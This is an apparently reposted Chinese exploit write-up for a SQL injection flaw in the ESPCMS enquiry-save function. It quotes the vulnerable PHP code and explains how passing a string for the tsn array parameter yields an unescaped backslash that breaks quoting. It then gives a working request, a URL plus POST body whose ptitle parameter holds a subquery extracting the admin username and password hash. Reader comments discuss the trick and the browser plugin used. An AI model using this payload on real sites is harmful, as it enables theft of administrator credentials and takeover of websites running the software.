espcms sql注入漏洞

漏洞作者: Noxxx

文件 /interface/enquiry.php :

in_enquirysave 函数中

[php]

if (!$this->fun->is_token()) { //这里 可以直接绕过的

$this->callmessage($this->lng['repeatinput'], $linkURL, $this->lng['gobackbotton']);

}

$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;

if ($this->CON['is_enquiry_memclass']) {

parent::member_purview(0, $this->get_link('enquiry', array(), admin_LNG));

}

$cartid = $this->fun->eccode($this->fun->accept('ecisp_enquiry_list', 'C'), 'DECODE', db_pscode);

$cartid = stripslashes(htmlspecialchars_decode($cartid));

$uncartid = !empty($cartid) ? unserialize($cartid) : 0;

 

$userid = intval($this->fun->accept('userid', 'P'));

$userid = !empty($userid) ? $userid : 0;

$linkman = trim($this->fun->accept('linkman', 'P', true, true));

$linkman = $this->fun->substr($linkman, 20);

 

$email = $this->fun->accept('email', 'P', true, true);

 

$sex = $this->fun->accept('sex', 'P');

$sex = empty($sex) ? 0 : intval($sex);

$country = intval($this->fun->accept('cityone', 'P'));

$country = empty($country) ? 0 : $country;

$province = intval($this->fun->accept('citytwo', 'P'));

$province = empty($province) ? 0 : $province;

$city = intval($this->fun->accept('citythree', 'P'));

$city = empty($city) ? 0 : $city;

$district = intval($this->fun->accept('district', 'P'));

$district = empty($district) ? 0 : $district;

$address = trim($this->fun->accept('address', 'P', true, true));

$address = $this->fun->substr($address, 120);

$zipcode = trim($this->fun->accept('zipcode', 'P', true, true));

$zipcode = $this->fun->substr($zipcode, 10);

$tel = trim($this->fun->accept('tel', 'P', true, true));

$tel = $this->fun->substr($tel, 20);

$mobile = trim($this->fun->accept('mobile', 'P', true, true));

$mobile = $this->fun->substr($mobile, 15);

$fax = trim($this->fun->accept('fax', 'P', true, true));

$fax = $this->fun->substr($fax, 15);

$content = trim($this->fun->accept('content', 'P', true, true));

$content = $this->fun->substr($content, 500);

$amount = $this->fun->accept('amount', 'P');

$ptitle = $this->fun->accept('ptitle', 'P');

$tsn = $this->fun->accept('tsn', 'P');

$did = $this->fun->accept('did', 'P');

 

if (empty($did) || empty($amount) || empty($ptitle)) {

$enquirylink = $this->get_link('enquiry', array(), admin_LNG);

$this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']);

}

 

if (!preg_match("/^w+((-w+)|(.w+))*@[A-Za-z0-9]+((.|-)[A-Za-z0-9]+)*.[A-Za-z0-9]+$/i", $email)) {

$this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']);

}

$enquirysn = date('YmdHis') . rand(100, 9999);

$db_table = db_prefix . 'enquiry';

$db_table2 = db_prefix . 'enquiry_info';

$addtime = time();

$db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime';

$db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0";

$this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');

$insert_id = $this->db->insert_id();

$db_values = '';

$arraycount = count($did) - 1;

 

foreach ($did as $key => $value) {

$value = intval($value);

$amount[$key] = intval($amount[$key]);

 

if ($key == $arraycount) {

$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";

} else {

$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";

}

// 关键是这里 和 DZ7.2那个注入漏洞一样 如果 tsn并不是数组的话 他就会 等同于 $XX{a} 我们提交 tsn = 绕过转义的限制 从而导致的注入

 

}

$db_field = 'eid,did,tsn,title,amount,comment';

$this->db->query('INSERT INTO ' . $db_table2 . ' (' . $db_field . ') VALUES ' . $db_values); //进入查询

[/php]

 

这里还有就是 userid需要自己提交 did的产品id必须为存在的 产品展示->里面就能找到id

http://127.0.0.1/php/espcmsv/index.php?ac=enquiry&at=enquirysave

tsn=&userid=3&did[x]=1&amount=1&ptitle[x]=,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#&email=xxx@qq.com

漏洞证明:

142154499c158c958acf8ca42f211dbc462d6ed3

 

 

142155047d5d743f5f6b9218a44aed791873094b

 

14215520edfa4906cc85de9094b2d0f6612f445b

 

 

4 条评论

  1. agnes

    转的吧?看了半天才知道什么原理,要提交tsn=' 之类的东西,让$tsn=\',然后在tsn[0]取得了\,插入到sql中,转义了原本的单引号。楼主这写的我看了好久没懂。思路真是淫荡。

    1. 0day5
      @agnes

      ------====== 本站公告 ======------
      本站的文章都大多源自网络.并不是都是原创。

  2. panda

    请问这个用的啥firefox 插件呢

    1. 0day5
      @panda

      hackbar

发表评论